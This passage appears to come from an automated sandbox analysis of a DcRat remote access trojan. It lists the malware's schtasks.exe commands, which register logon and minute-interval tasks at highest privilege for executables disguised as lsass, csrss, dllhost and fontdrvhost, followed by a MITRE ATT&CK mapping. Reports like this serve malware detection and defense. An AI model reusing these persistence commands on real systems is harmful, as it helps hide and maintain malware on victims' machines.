- Scheduled Task/Job: Scheduled Task
PID:208

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "upfc" /sc ONLOGON /tr "'C:\blockweb\upfc.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:548

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "upfcu" /sc MINUTE /mo 8 /tr "'C:\blockweb\upfc.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1056

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 7 /tr "'C:\Recovery\WindowsRE\Registry.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3852

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Registry" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\Registry.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3036

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 11 /tr "'C:\Recovery\WindowsRE\Registry.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4620

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 14 /tr "'C:\blockweb\fontdrvhost.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4504

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\blockweb\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1904

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 13 /tr "'C:\blockweb\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4460

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "upfcu" /sc MINUTE /mo 9 /tr "'C:\blockweb\upfc.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3748

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "upfc" /sc ONLOGON /tr "'C:\blockweb\upfc.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3220

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "upfcu" /sc MINUTE /mo 6 /tr "'C:\blockweb\upfc.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3952

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 13 /tr "'C:\Program Files\Windows Portable Devices\lsass.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4552

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\Program Files\Windows Portable Devices\lsass.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4748

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 9 /tr "'C:\Program Files\Windows Portable Devices\lsass.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1096

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 11 /tr "'C:\Recovery\WindowsRE\dllhost.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2756

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\dllhost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2148

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 12 /tr "'C:\Recovery\WindowsRE\dllhost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3472

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\Common Files\Microsoft Shared\Filters\csrss.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1044

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Program Files (x86)\Common Files\Microsoft Shared\Filters\csrss.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:924

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Common Files\Microsoft Shared\Filters\csrss.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4452

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 13 /tr "'C:\Program Files\Google\Chrome\Application\csrss.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:556

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Program Files\Google\Chrome\Application\csrss.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:984

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 12 /tr "'C:\Program Files\Google\Chrome\Application\csrss.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2576

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry